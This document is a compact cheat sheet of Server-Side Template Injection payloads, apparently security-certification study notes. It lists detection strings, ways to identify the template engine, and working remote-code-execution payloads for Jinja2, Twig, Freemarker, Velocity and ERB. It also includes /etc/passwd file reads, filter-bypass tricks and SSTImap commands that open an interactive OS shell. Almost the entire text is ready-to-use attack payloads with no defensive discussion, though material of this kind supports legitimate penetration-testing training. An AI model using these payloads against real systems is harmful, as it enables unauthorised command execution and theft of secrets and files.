SSTI
Server-Side Template Injection from the CWES path: detection, engine identification, and RCE for Jinja2, Twig, Freemarker, Velocity and ERB, plus SSTImap. Every payload separated.
Detection
Universal detection string (errors in most engines):
${{<%[%'"}}%\.
Math test (Jinja2 / Twig / Freemarker):
{{7*7}}
Dollar syntax (Freemarker / Velocity / Mako):
${7*7}
ERB (Ruby):
<%= 7*7 %>
Engine identification
{{7*7}} → 49 in Jinja2 AND Twig
{{7*'7'}} → 7777777 in Jinja2 | 49 in Twig
${7*7} → 49 in Freemarker, Velocity, Mako
<%= 7*7 %> → 49 in ERB (Ruby)
Jinja2 (Python)
Dump config (may expose secret keys):
{{ config.items() }}
OS command via os.popen:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Read a file:
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
Filter bypass (underscore/dot blocked) via request object:
{{ request['__class__']['__mro__'][1]['__subclasses__']() }}
Twig (PHP)
Confirm Twig:
{{ _self }}
Command via filter:
{{ ['id'] | filter('system') }}
Read a file:
{{ "/etc/passwd"|file_excerpt(1,-1) }}
Space-filter bypass (hex escape):
{{["cat\x20/flag.txt"]|filter('system')}}
Freemarker (Java)
RCE via Execute:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity (Java)
#set($rt = $class.forName("java.lang.Runtime"))
#set($proc = $rt.getMethod("exec", $class.forName("java.lang.String")).invoke($rt.getRuntime(), "id"))
ERB (Ruby)
Command via backtick:
<%= `id` %>
SSTImap (automated)
Detect and ID the engine:
python3 main.py -u "http://IP/index.php?name=test"
Interactive OS shell:
python3 main.py -u "http://IP/index.php?name=test" --os-shell